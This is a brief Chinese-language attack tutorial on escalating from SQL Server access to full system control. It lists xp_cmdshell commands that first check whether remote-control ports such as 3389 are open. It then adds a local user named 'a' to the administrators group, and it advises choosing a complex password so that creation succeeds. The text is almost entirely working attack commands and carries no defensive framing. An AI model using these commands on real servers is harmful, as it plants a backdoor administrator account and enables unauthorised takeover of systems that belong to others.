有sql权限后如何拿到系统权限

连接后，该执行哪些命令？
        假设各种存储过程和dll文件都没有删除，我们先执行：
exec master..xp_cmdshell 'netstat -an'
看看3389，4899，5631等远程控制的软件端口是否都是开放的，然后执行添加系统用户的命令:
exec master..xp_cmdshell 'net user a password /add'
exec master..xp_cmdshell 'net localgroup administrators a /add'
这样就加了一个名为a，密码为password的系统管理员。建议密码设置的复杂些，有些服务器有密码复杂度限制，密码如果太简单，建不了用户。